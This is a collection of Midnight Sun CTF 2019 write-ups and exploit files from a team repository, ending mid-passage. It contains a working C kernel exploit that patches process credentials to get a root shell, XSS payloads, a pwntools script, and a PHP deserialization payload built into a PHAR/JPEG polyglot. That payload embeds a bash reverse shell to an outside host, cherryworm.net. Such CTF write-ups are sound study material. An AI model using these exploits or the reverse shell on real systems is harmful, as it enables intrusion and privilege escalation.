commandLoop+2D↓j 39 | seg000:01AC ; commandLoop+37↓j ... 40 | seg000:01AC mov bh, 1 41 | seg000:01AE mov ah, 0 42 | seg000:01B0 int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY 43 | seg000:01B0 ; Return: AH = scan code, AL = character 44 | seg000:01B2 cmp al, 0Dh 45 | seg000:01B4 jz short process_command 46 | seg000:01B6 cmp al, 7Fh 47 | seg000:01B8 jnz short store_char 48 | seg000:01BA sub input_ptr, 1 49 | seg000:01BF mov ah, 3 50 | seg000:01C1 mov bh, 0 51 | seg000:01C3 int 10h ; - VIDEO - READ CURSOR POSITION 52 | seg000:01C3 ; BH = page number 53 | seg000:01C3 ; Return: DH,DL = row,column, CH = cursor start line, CL = cursor end line 54 | seg000:01C5 cmp dl, 0 55 | seg000:01C8 jz short input_loop 56 | seg000:01CA dec dl 57 | seg000:01CC mov ah, 2 58 | seg000:01CE mov bh, 0 59 | seg000:01D0 int 10h ; - VIDEO - SET CURSOR POSITION 60 | seg000:01D0 ; DH,DL = row, column (0,0 = upper left) 61 | seg000:01D0 ; BH = page number 62 | seg000:01D2 jmp short input_loop 63 | seg000:01D4 ; -------------------------------------------- 64 | ``` 65 | 66 | Note that if `al` (character) is `0x7F` (backspace), we decrement the pointer to the current position in our buffer if the current cursor position is greater than 0. 67 | But because of the prompt, even at the start of the buffer the cursor column is greater than zero. This allows us to overwrite data before the start of the buffer. 68 | Let's check what's located before the input buffer: 69 | 70 | ``` 71 | seg000:0389 dw offset jmp_halt 72 | seg000:0395 aFlag1 db 'FLAG1',0 ; DATA XREF: openFlag1+A↑o 73 | seg000:039B db 24h ; $ 74 | seg000:039C input_buf db 0 ; DATA XREF: commandLoop:read_command↑o 75 | ``` 76 | 77 | So there is the name of FLAG1 file and the end of the jump table for the command dispatch. This is quite nice, because it makes the exploit easy: 78 | 79 | - overwrite FLAG1 with FLAG2 by changing 1 -> 2 80 | - change `offset jmp_halt` (0x171) to `offset printFlagStage1` (0x14F) 81 | 82 | Here's a script that does just that: 83 | 84 | ```python 85 | #!/usr/bin/env python3 86 | from pwn import * 87 | 88 | r = remote(b"hfs-os-01.play.midnightsunctf.se", 31337) 89 | r.sendafter(b"]> ", b"sojupwner") 90 | r.recvline_contains(b"Correct password!") 91 | r.send(b"adssad\r") 92 | r.sendafter(b"]>", b"\x7f"*3 + b"2\r") 93 | r.sendafter(b"]>", b"\x7f"*9 + b"O\r") 94 | r.sendafter(b"]>", b"exit\r") 95 | r.recvuntil(b"Here is your flag") 96 | print(r.recvuntil(b"}").replace(b"\r\n", b"")) 97 | r.stream() 98 | ``` 99 | 100 | which gets the flag: 101 | 102 | ``` 103 | $ ./script.py 104 | [+] Opening connection to b'hfs-os-01.play.midnightsunctf.se' on port 31337: Done 105 | b' for HFS-MBR: midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}' 106 | ``` 107 | -------------------------------------------------------------------------------- /2019/midnightsunctf/hfsipc/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /* constants for the different commands */ 11 | #define ALLOCATE 0xABCD0001 12 | #define DESTROY 0xABCD0002 13 | #define READ 0xABCD0003 14 | #define WRITE 0xABCD0004 15 | 16 | /* struct for command parameters. 17 | * some commands do not use all the fields (for example, ALLOCATE only uses id and size) 18 | */ 19 | typedef struct { 20 | long id; 21 | long size; 22 | char* buf; 23 | } req; 24 | 25 | /* file descriptor to the opened device (global variable for convenience) */ 26 | int hfs = -1; 27 | 28 | /* open the device (must be called at start) */ 29 | void open_hfs() { 30 | hfs = open("/dev/hfs", O_RDWR); 31 | if (hfs < 0) { 32 | perror("[-] open hfs failed"); 33 | exit(1); 34 | } 35 | printf("[+] open fd: %x\n", hfs); 36 | } 37 | 38 | 39 | void make_call(long action, long id, long size, void* buf) { 40 | req r = {.id = id, .size = size, .buf = buf }; 41 | if (ioctl(hfs, action, &r) != 0) { 42 | perror("[-] ioctl failed"); 43 | printf("ioctl args: %lx %lx %lx %p\n", action, id, size, buf); 44 | exit(1); 45 | } 46 | } 47 | 48 | /* print the data of a channel as nicely formated hex */ 49 | void dump(long id, long size) { 50 | char* buf = malloc(size); 51 | make_call(READ, id, size, buf); 52 | printf("%lx: ", id); 53 | for (long i = 0; i < size; ++i) { 54 | printf("%02hhx ", buf[i]); 55 | } 56 | printf("\n"); 57 | 58 | free(buf); 59 | } 60 | 61 | /* kernel module representation of a channel */ 62 | typedef struct { 63 | long id; 64 | char* buf; 65 | long size; 66 | long padding; 67 | } channel; 68 | 69 | int main(int argc, char** argv) { 70 | open_hfs(); 71 | 72 | // alloc some 73 | for (int i = 0; i < 0x85; ++i) { 74 | make_call(ALLOCATE, 0xf000 + i, 0x20, 0); 75 | } 76 | puts("[+] alloc done"); 77 | 78 | // overwrite the next_free pointer of a freed chunk (0xf080 in this case) 79 | make_call(DESTROY, 0xf080, 0, 0); 80 | char overflow_data[0x21]; 81 | memset(overflow_data, 'o', 0x21); 82 | // this offset was determined experimentally (play around in 0x20 increments) 83 | overflow_data[0x20] = 0xc0; 84 | make_call(WRITE, 0xf07f, 0x21, overflow_data); 85 | make_call(ALLOCATE, 0xf080, 0x20, 0); 86 | puts("[+] corruption done"); 87 | fflush(stdout); 88 | 89 | // i don't 100% understand why this works but now f080->data points to f080 channel struct which is really nice 90 | // but it is confusing if it points to itself, make it point to some other channel struct 91 | channel leak; 92 | make_call(READ, 0xf080, 0x20, &leak); 93 | printf("[+] got leak: %p\n", leak.buf); 94 | leak.buf += 0x40; 95 | leak.id = 0x0; // set the id to zero, so that the freelist is correct again (0 is a valid next_ptr) 96 | make_call(WRITE, 0xf080, 0x20, &leak); 97 | 98 | // now, f080 points at the channel struct of f081 99 | // arbitrary WRITE! 100 | dump(0x0, 0x20); 101 | 102 | // overwrite current tasks' real_cred and cred with initial task credentials 103 | leak.buf = (char*)0xffffffff81a3a040; // pointer to task struct 104 | leak.size = 8; 105 | leak.id = 0xf081; 106 | char* task_struct; 107 | make_call(WRITE, 0x0, 0x20, &leak); 108 | make_call(READ, 0xf081, 0x8, &task_struct); 109 | printf("task_struct location: %p\n", task_struct); 110 | 111 | char* new_cred = (char*)0xffffffff81a3f1c0; 112 | 113 | char* real_cred; 114 | leak.buf = task_struct + 0x3b8; 115 | make_call(WRITE, 0x0, 0x20, &leak); 116 | make_call(READ, 0xf081, 0x8, &real_cred); 117 | make_call(WRITE, 0xf081, 0x8, &new_cred); 118 | 119 | char* cred; 120 | leak.buf = task_struct + 0x3c0; 121 | make_call(WRITE, 0x0, 0x20, &leak); 122 | make_call(READ, 0xf081, 0x8, &cred); 123 | make_call(WRITE, 0xf081, 0x8, &new_cred); 124 | 125 | printf("old real_cred %p cred %p\n", real_cred, cred); 126 | 127 | puts("[+] creds patched. should be root now"); 128 | execl("/bin/sh", "/bin/sh", NULL); 129 | 130 | puts("[+] done"); 131 | } 132 | -------------------------------------------------------------------------------- /2019/midnightsunctf/hfsmbr/hfsmbr.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["re", "16bit"] 3 | author: "bennofs" 4 | --- 5 | # Challenge 6 | > We made a military-grade secure OS for HFS members. Feel free to beta test it for us! 7 | 8 | The challenge is a qemu image, which displays after startup: 9 | 10 | ``` 11 | . 12 | 13 | [HFS SECURE BOOT] Loading ... 14 | .-. .-.----.----. .-. .-.----..----. 15 | | {_} | {_{ {__ | `.' | {} | {} } 16 | | { } | | .-._} } | |\ /| | {} | .-. \ 17 | `-' `-`-' `----' `-' ` `-`----'`-' `-' 18 | Enter the correct password to unlock the Operating System 19 | [HFS_MBR]> 20 | ``` 21 | 22 | # Solution 23 | The image starts with a boot loader that loads sectors 4 and 5 to address 0x7e00 and then jumps there. Let's extract those using dd: 24 | 25 | ``` 26 | $ dd if=dos.img of=stage2.bin skip=3 count=2 27 | ``` 28 | 29 | The code to check password is at address `0x7e37`. Here's an annotated version: 30 | 31 | ``` 32 | 0000:7e37 b701 mov bh, 1 33 | 0000:7e39 b400 mov ah, 0 34 | 0000:7e3b cd16 int 0x16 ; read character into al 35 | 0000:7e3d 3c61 cmp al, 0x61 36 | 0000:7e3f 0f8cc101 jl 0x8004 ; if character is < 0x61 ('a'), halt 37 | 0000:7e43 3c7a cmp al, 0x7a 38 | 0000:7e45 0f8fbb01 jg 0x8004 ; if character is > 0x7a ('z'), halt 39 | 0000:7e49 b40e mov ah, 0xe 40 | 0000:7e4b cd10 int 0x10 ; print the entered character 41 | 0000:7e4d 30e4 xor ah, ah 42 | 0000:7e4f 88c2 mov dl, al 43 | 0000:7e51 2c61 sub al, 0x61 44 | 0000:7e53 d0e0 shl al, 1 45 | 0000:7e55 31db xor bx, bx 46 | 0000:7e57 88c3 mov bl, al 47 | 0000:7e59 b82680 mov ax, 0x8026 48 | 0000:7e5c 01c3 add bx, ax 49 | 0000:7e5e 8b07 mov ax, word [bx] ; load from 0x8026 + 2*(char - 0x61) 50 | 0000:7e60 ffe0 jmp ax ; jump to that address 51 | ``` 52 | 53 | Analysis of the 24 different handlers referenced at 0x8026 reveals that the correct password is `sojupwner`. 54 | -------------------------------------------------------------------------------- /2019/midnightsunctf/marcodowno/marcodowno.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["xxs"] 3 | --- 4 | # Challenge 5 | > Someone told me to use a lib, but real developers rock regex one-liners. 6 | 7 | This challenge provides a website that converts markdown to html for display. 8 | The conversion code is implemented with a bunch of regex search-and-replaces. 9 | The task here is to find input markdown that invokes `alert(1)` once converted to html. 10 | 11 | ```js 12 | function markdown(text){ 13 | text = text 14 | .replace(/[<]/g, '') 15 | .replace(/----/g,'
') 16 | .replace(/> ?([^\n]+)/g, '
$1
') 17 | .replace(/\*\*([^*]+)\*\*/g, '$1') 18 | .replace(/__([^_]+)__/g, '$1') 19 | .replace(/\*([^\s][^*]+)\*/g, '$1') 20 | .replace(/\* ([^*]+)/g, '
  • $1
  • ') 21 | .replace(/##### ([^#\n]+)/g, '
    $1
    ') 22 | .replace(/#### ([^#\n]+)/g, '

    $1

    ') 23 | .replace(/### ([^#\n]+)/g, '

    $1

    ') 24 | .replace(/## ([^#\n]+)/g, '

    $1

    ') 25 | .replace(/# ([^#\n]+)/g, '

    $1

    ') 26 | .replace(/(?$1') 27 | .replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '$1') 28 | .replace(/(?$1') 29 | .replace(/`([^`]+)`/g, '$1') 30 | .replace(/```([^`]+)```/g, '$1') 31 | .replace(/\n/g, "
    "); 32 | 33 | return text; 34 | } 35 | ``` 36 | 37 | # Solution 38 | 39 | One of the regexes looks particularly scary: 40 | ```js 41 | .replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '$1') 42 | ``` 43 | The first capture group (the alt text) allows for all characters including quotes. 44 | This can easily be used to insert custom attributes and invoke custom javascript: 45 | ```js 46 | > markdown("![alt\" onerror=\"javascript:alert(1)](https://src)") 47 | 'alt' 48 | ``` 49 | 50 | http://marcodowno-01.play.midnightsunctf.se:3001/markdown?input=%21%5Balt%22%20onerror%3D%22javascript%3Aalert%281%29%5D%28https%3A%2F%2Fsrc%29 51 | 52 | midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?} 53 | -------------------------------------------------------------------------------- /2019/midnightsunctf/marcozuckerbergo/marcozuckerbergo.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["xxs", "mermaidjs"] 3 | --- 4 | # Challenge 5 | > Fine, I'll use a damn lib. Let's see if it's any better. 6 | 7 | This challenge is based on the same setup as marcodowno. Instead of converting markdown, this challenge converts [mermaidjs](https://mermaidjs.github.io/) charts to HTML. 8 | 9 | # Solution 10 | 11 | Let's have a look at the first example on the mermaidjs page and check how it its parsed. 12 | 13 | ``` 14 | graph TD; 15 | A-->B; 16 | ``` 17 | 18 | This input is parsed using the [flowchart parser](https://github.com/knsv/mermaid/blob/master/src/diagrams/flowchart/parser/flow.jison) written in a bison-like language. 19 | A few of the parsing rules look promising: 20 | 21 | `textToken` consumes a bunch interesting characters that are dumped as-is into the HTML output: 22 | ```<>[]"'`:.-``` 23 | The `textToken` rule is used to parse vertex names in the link statement `A-->B`. 24 | Parentheses are not allowed though so we'll have to improvise on the `alert(1)` call: 25 | 26 | [Template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) can be used to call functions without using parentheses. 27 | ```alert`1` ``` is equivalent to `alert(["1"])` and by string coercion equivalent to `alert('1')`. 28 | 29 | Here's the final payload: 30 | 31 | ``` 32 | graph LR; 33 | X-->Y[Y]; 34 | ``` 35 | 36 | This is the relevant output produced: 37 | 38 | ```html 39 |
    Y
    40 | ``` 41 | 42 | http://marcozuckerbergo-01.play.midnightsunctf.se:3002/markdown?input=%67%72%61%70%68%20%4c%52%3b%0a%20%20%20%20%58%2d%2d%3e%59%5b%59%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%27%61%6c%65%72%74%60%31%60%27%20%2f%3e%5d%3b 43 | 44 | midnight{1_gu3zz_7rust1ng_l1bs_d1dnt_w0rk_3ither:(} 45 | -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/aes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/aes.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/qscat-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/qscat-attack.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/qscat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/qscat.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/trace-detail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/trace-detail.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/trace-overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/trace-overview.png -------------------------------------------------------------------------------- /2019/midnightsunctf/measurement/uart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/allesctf/writeups/5600d5c014ac8d76e23e876ede344dea7b0eeaf9/2019/midnightsunctf/measurement/uart.png -------------------------------------------------------------------------------- /2019/midnightsunctf/open-gyckel-krypto/open-gyckel-krypto.md: -------------------------------------------------------------------------------- 1 | # Open Gyckel Krypto 2 | - Tags: Crypto, DPA 3 | - Points: 226 4 | - Solves: 56 5 | 6 | ## Challenge 7 | >Primes are fun, don't google translate me bro 8 | 9 | We get a textfile with python code: 10 | ```python 11 | while True: 12 | p = next_prime(random.randint(0, 10**500)) 13 | if len(str(p)) != 500: 14 | continue 15 | q = Integer(int(str(p)[250:] + str(p)[:250])) 16 | if q.is_prime(): 17 | break 18 | 19 | >> p * q 20 | 6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989 21 | >> pow(m, 65537, p * q) 22 | 3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257 23 | ``` 24 | 25 | Google translation of the challenge title: `Open-fun-crypto` 26 | 27 | ## Solution 28 | The script is easily identifiable as RSA, with a twist on the prime generation. To break it, we need to factor the modulus `n=p*q`. 29 | Both p and q are 500 digits, thus n is 1000. This is far to long for normal factoring algorithms. 30 | But notice that q is a 'swapped' version of p, ie we look at its representation in Base10 and swap the top and bottom half. 31 | 32 | To solve the challenge we need to somehow represent this swapping as a mathematical operation. The easiest way to do this, is to define the bottom and top parts of p `a` and `b`. Doing this we can say 33 | ``` 34 | p = 10^250 * a + b 35 | q = 10^250 * b + a 36 | n = p*q = 10^500 * a*b + 10^250 * (a*a + b*b) + a * b 37 | ``` 38 | Now we have to pay close attention to the size of the sum terms: 39 | ``` 40 | a 250 digits 41 | b 250 digits 42 | a+b 250 or 251 digits (overflow by 1) 43 | a*b 499 or 500 digits 44 | 10^500 * a*b: 499 or 500 digits, shifted by 500 0's 45 | 10^250 * (a*a + b*b) 499 to 501 digits, shifted by 250 0's 46 | ``` 47 | Thus the sum above can be seen as 48 | 49 | | n | top250 | ------- | ------- | bottom250| 50 | |---------------------|:--------:|:---------:|:----------:|:--------:| 51 | | `10^500 *a*b` | *A* | *B* | 0 | 0 | 52 | | `10^250 *(a*a+b*b)` | 0 or 1 | *C* | *D* | 0 | 53 | | ` a*b ` | 0 | 0 | *A* | *B* | 54 | 55 | Notice that we can calculate `a*b` by taking the top 250 and bottom 250 digits of n. We just have to be careful to check if `(a*a+b*b)` has overflowed, and thus adds 1 to the top part. Checking the two solutions, we see that for the given `n` it has indeed done so. Now knowing `a*b` we can also get `a*a+b*b` from `n` as: 56 | ``` 57 | a*a+b*b = 10^-250 * (n - a*b - 10^500*a*b) 58 | ``` 59 | 60 | This gives us a system of equations: 61 | ``` 62 | a*b = c1 63 | a*a+b*b = c2 64 | ``` 65 | 66 | Anw while this can easily be transformed into a quadratic equation by hand, we are lazy and use z3. In python this looks like: 67 | ```python 68 | from z3 import * 69 | from Crypto.Util import number as num 70 | 71 | e = 65537 72 | n = 6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989 73 | c = 3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257 74 | 75 | n_str = str(n) 76 | L = len(n_str) // 4 77 | 78 | top = int(n_str[:L]) - 1 # overflow! 79 | bottom = int(n_str[-L:]) 80 | 81 | c1 = (10**L) * top + bottom 82 | c2 = (n - c1 - c1 * 10**(2*L)) // 10**L 83 | 84 | s = Solver() 85 | a_ = Int('a') 86 | b_ = Int('b') 87 | s.add(c1 == a_ * b_) 88 | s.add(c2 == a_**2 + b_**2) 89 | s.add(a_>0) # we want positive solutions 90 | s.add(b_>0) 91 | 92 | assert s.check() == sat, 'No solution found' 93 | 94 | # reconstruct p and q 95 | a = s.model()[a_].as_long() 96 | b = s.model()[b_].as_long() 97 | p = 10**L*a + b 98 | q = 10**L*b + a 99 | 100 | assert n == p * q, 'Wrong solution found!' 101 | 102 | # get plaintext 103 | phi = (p-1)*(q-1) 104 | d = num.inverse(e, phi) 105 | m = pow(c, d, n) 106 | 107 | print (num.long_to_bytes(m)) 108 | ``` 109 | 110 | which gives us the flag as 111 | ``` 112 | midnight{w3ll_wh47_d0_y0u_kn0w_7h15_15_4c7u4lly_7h3_w0rld5_l0n6357_fl46_4nd_y0u_f0und_17_50_y0u_5h0uld_b3_pr0ud_0f_y0ur53lf_50_uhmm_60_pr1n7_7h15_0n_4_75h1r7_0r_50m37h1n6_4nd_4m4z3_7h3_p30pl3_4r0und_y0u} 113 | ``` -------------------------------------------------------------------------------- /2019/midnightsunctf/pgp-com/pgp-com.md: -------------------------------------------------------------------------------- 1 | # pgp-com 2 | - Tags: crypto, misc 3 | - Points: 451 4 | - Solves: 24 5 | 6 | ## Challenge 7 | > You know how PGP works, right? 8 | 9 | We get an archive with one file: `pgp-communication.txt` 10 | In this file we find a short message: 11 | >We use PGP for secure communication to all participating teams and the 12 | >organization. You know how PGP works, right? 13 | > 14 | >Here are relevant keys and messages, your password is "changemeNOW" without 15 | >quotes. 16 | 17 | together with a `PGP PRIVATE KEY BLOCK`, a `PGP PUBLIC KEY BLOCK` and three `PGP MESSAGE` blocks. 18 | 19 | ## Solution 20 | 21 | Split the input file into 5 files: `publickey.txt`, `privatekey.txt`, `message1.txt`, `message2.txt`, `message3.txt`. 22 | 23 | First we use GnuPG to import the public and private keys. To not pollute our global key database, we specify a custom `GNUPGHOME`: 24 | 25 | ``` 26 | GNUPGHOME=/tmp/pgp-com gpg --import publickey.txt 27 | GNUPGHOME=/tmp/pgp-com gpg --import privatekey.txt 28 | ``` 29 | 30 | Now we take a look at what we got: 31 | 32 | ``` 33 | GNUPGHOME=/tmp/pgp-com gpg --list-keys 34 | pub rsa4096 2019-04-02 [SCEA] 3E5FC53F2B3D0B92057DE7701437E68F5024FDC0 35 | uid [ unknown] Midnight Sun CTF Admin 36 | pub rsa4096 2019-04-02 [SCEA] 6AEEDDD07760D2B83482553BEBA63E4B442DB992 37 | uid [ unknown] Midnight Sun CTF Participating teams 38 | pub rsa4096 2019-04-02 [SCEA] 6CF8DEB045D8200275DE16A3BB0EAF2215849295 39 | uid [ unknown] Midnight Sun CTF Devteam maillist 40 | ``` 41 | 42 | ``` 43 | GNUPGHOME=/tmp/pgp-com gpg --list-secret-keys 44 | sec rsa4096 2019-04-02 [SCEA] 45 | 6AEEDDD07760D2B83482553BEBA63E4B442DB992 46 | uid [ unknown] Midnight Sun CTF Participating teams 47 | 48 | ``` 49 | 50 | Public keys for three emails, private key only for one email. 51 | Using the private key, we can decrpyt messages 1 and 3. The private key is encrypted, so gpg prompts for a password on decrypt. Luckily the message in the file gave us the password: `changemeNOW`. For Message 2 we get `decryption failed: No secret key`, since it is only send to devs and admin. 52 | 53 | ``` 54 | GNUPGHOME=/tmp/pgp-com gpg --decrypt message1.txt 55 | Hi, 56 | This is a message just to say hello and welcome you all to the competition. 57 | We are now introducing our own implementation of the super secure PGP messaging format. 58 | We will use it for all important communication during the CTF. 59 | Best regards, 60 | CTF Admin 61 | 62 | GNUPGHOME=/tmp/pgp-com gpg --decrypt message3.txt 63 | We have received some indications that our PGP implementation has problems with randomness. 64 | The dev team is currently working on fixing the issue. 65 | We will not use this system for further messages until it has been fixed. 66 | Your key pairs were not generatad by this system, and they should be safe even for future use. 67 | ``` 68 | 69 | After first looking around the packets a bit, to see if there is anything hidden in them (eg. with `gpg --list-packets --verbose message1.txt`) and not finding anything, we notice the hint in the messages: 70 | 71 | They say the key pairs are safe, so no problem there. But there is an issue with randomness in their PGP implementation. Looking up how pgp works, you see that messages are encrypted with a symmetric cipher. The key is randomly generated for each message, and encrypted with the public keys of the recipients. The referenced 'problem with randomness' is therefore probably a weakness in these symmetric keys. 72 | 73 | They can easily be dumped with 74 | ``` 75 | GNUPGHOME=/tmp/pgp-com gpg --show-session-key < message1.txt 76 | ... 77 | session key: '9:0000000000000000000000000000000000000000000000000000000000001336' 78 | ... 79 | 80 | GNUPGHOME=/tmp/pgp-com gpg --show-session-key < message3.txt 81 | ... 82 | session key: '9:0000000000000000000000000000000000000000000000000000000000001338' 83 | ... 84 | ``` 85 | 86 | We guess that message2 has a key of `1337` and get the flag: 87 | ``` 88 | GNUPGHOME=/tmp/pgp-com gpg --override-session-key 9:0000000000000000000000000000000000000000000000000000000000001337 < message2.txt 89 | ... 90 | From: Midnight Sun CTF Admin 91 | To: Midnight Sun CTF Devteam maillist 92 | Subject: 93 | Date: 2019-04-02 17:27:07 94 | 95 | Hi, 96 | 97 | How could you implement a system with such bad session key generation!? 98 | 99 | Please remeber that midnight{sequential_session_is_bad_session} in the future... 100 | 101 | Best regards, 102 | CTF Admin 103 | 104 | ``` -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/exploit.php: -------------------------------------------------------------------------------- 1 | folder="`bash -c 'bash -i >& /dev/tcp/cherryworm.net/1337 0>&1' >images/h 2>&1`"; 9 | $object->file_name="idc"; 10 | $object->extension="idc"; 11 | $object->tmp_name="idc"; 12 | 13 | $serialized = serialize($object); 14 | $jpeg="./empty.jpg"; 15 | $phar = new \PHPGGC\Phar\Tar($serialized, compact("jpeg")); 16 | file_put_contents('exploit.tar', $phar->generate()); 17 | 18 | // // $phar = new \PHPGGC\Phar\Phar($serialized, ["prefix"=>"XXXXXXX"]); 19 | // // file_put_contents('exploit.phar', $phar->generate()); 20 | 21 | // $phar = new \PHPGGC\Phar\Zip($serialized); 22 | // file_put_contents('exploit.zip', $phar->generate()); 23 | ?> 24 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/exploit.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | ]> 4 | 5 | &xxe; 6 | mypass 7 | 8 | -------------------------------------------------------------------------------- /2019/midnightsunctf/rubenscube/rubenscube.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: ["php", "web", "xxe", "phar"] 3 | author: "bennofs" 4 | --- 5 | # Challenge 6 | > Sharing is caring. For picture wizard use only. 7 | 8 | The challenge provides a simple upload service, where you can upload images and they are added to your gallery. 9 | 10 | # Solution 11 | The robots.txt hints that the source can be downloaded from http://ruben-01.play.midnightsunctf.se:8080/source.zip. 12 | The important file is `upload.php`: 13 | 14 | ```php 15 | loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 27 | $svg = simplexml_import_dom($dom); 28 | $attrs = $svg->attributes(); 29 | $width = (int) $attrs->width; 30 | $height = (int) $attrs->height; 31 | } 32 | return [$width, $height]; 33 | } 34 | 35 | 36 | class Image { 37 | 38 | function __construct($tmp_name) 39 | { 40 | $allowed_formats = [ 41 | "image/png" => "png", 42 | "image/jpeg" => "jpg", 43 | "image/svg+xml" => "svg" 44 | ]; 45 | $this->tmp_name = $tmp_name; 46 | $this->mime_type = mime_content_type($tmp_name); 47 | 48 | if (!array_key_exists($this->mime_type, $allowed_formats)) { 49 | // I'd rather 500 with pride than 200 without security 50 | die("Invalid Image Format!"); 51 | } 52 | 53 | $size = calcImageSize($tmp_name, $this->mime_type); 54 | if ($size[0] * $size[1] > 1337 * 1337) { 55 | die("Image too big!"); 56 | } 57 | 58 | $this->extension = "." . $allowed_formats[$this->mime_type]; 59 | $this->file_name = sha1(random_bytes(20)); 60 | $this->folder = $file_path = "images/" . session_id() . "/"; 61 | } 62 | 63 | function create_thumb() { 64 | $file_path = $this->folder . $this->file_name . $this->extension; 65 | $thumb_path = $this->folder . $this->file_name . "_thumb.jpg"; 66 | system('convert ' . $file_path . " -resize 200x200! " . $thumb_path); 67 | } 68 | 69 | function __destruct() 70 | { 71 | if (!file_exists($this->folder)){ 72 | mkdir($this->folder); 73 | } 74 | $file_dst = $this->folder . $this->file_name . $this->extension; 75 | move_uploaded_file($this->tmp_name, $file_dst); 76 | $this->create_thumb(); 77 | } 78 | } 79 | 80 | new Image($_FILES['image']['tmp_name']); 81 | header('Location: index.php'); 82 | ``` 83 | 84 | We see that it supports XML upload, and is vulnerable to XXE injection because it sets the flag `LIBXML_NOENT` (which is badly named: this flag *enables* entity processing). But this alone doesn't help us much since we don't know the name of the flag file and we also cannot observe the output after entities have been processed. 85 | 86 | To gain arbitrary code execution, we make us of the fact that the class `Image` calls `system` during `__destruct`, where some of the parameters passed to `system` are derived from class attributes. Because the XML is parsed by PHP, we can use the `phar://` protocol handler which is known to provide php deserialization (see [1]). Thus we can build a malicious PHAR file (using the tool at [2] to make a PHAR that is also a valid JPEG) which causes an instance of the class `Image` to be created with our command injection payload. We then upload this PHAR to the server and obtain the URL (`images/...`). To trigger the RCE we afterwards upload an xml which uses XXE to load `phar://images/...` thus executing our deserialization payload. 87 | 88 | One small difficulty here was in building the polyglot. The problem is that while the PHAR we generate is a valid jpeg, `file` (and `php_mime`) detect it as `tar` because it has higher precedence. We can solve this slightly corrupting the tar file in 